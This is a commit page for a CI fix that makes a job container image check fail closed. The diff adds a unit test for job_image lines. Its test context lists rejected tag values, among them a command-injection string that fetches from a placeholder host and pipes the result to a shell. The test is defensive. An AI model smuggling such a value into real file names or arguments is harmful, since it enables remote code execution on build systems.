fix(image): make the job container check fail closed
Review findings: a non-ubuntu or variable FROM went unchecked, the registry-prefixed ubuntu forms were missed, the container line could be satisfied by a lookalike in a run block, and a quoted job_image passed the check but not the bot-diff guard or Renovate. Also: stale ci Dockerfile base comment, the pins error now says what to edit, and the docs state that a job_image-only bump rebuilds nothing. Co-Authored-By: Claude Sonnet 5.5 <[email protected]> Claude-Session: https://claude.ai/code/session_01MmzvM9skAvYcph2c9EiPcm
This commit is contained in:
1 parent
c3d0d7df65
commit
bc5ae09de7
5 files changed
+77
-15
No files matched your search
@@ -77,6 +77,14 @@ class RuleTest(unittest.TestCase):
|
||||
for path, old, new in cases:
|
||||
self.assertIsNotNone(self.problem(path, old, new), (path, old, new))
|
||||
|
||||
def test_job_image_lines_cannot_be_added_removed_or_moved(self):
|
||||
path = ".gitea/workflows/image.yml"
|
||||
line = f" job_image: ubuntu:24.04@{D1}"
|
||||
for old, new in ((line, ""), (" version: 0.2.0", f" version: 0.2.0\n{line}"),
|
||||
(" steps:", f" steps:\n{line}")):
|
||||
self.assertIsNotNone(self.problem(path, old, new), (old, new))
|
||||
self.assertIsNotNone(self.problem(path, line, line.replace("job_image:", 'job_image: "') + '"'))
|
||||
|
||||
def test_tag_charset_is_restricted(self):
|
||||
bad_tags = ["$(curl${IFS}evil|sh)", "a'b", 'a"b', "a;b", "a`b`", "a$b", "a b"]
|
||||
for tag in bad_tags:
|
||||
|
||||
Reference in new issue
Block a user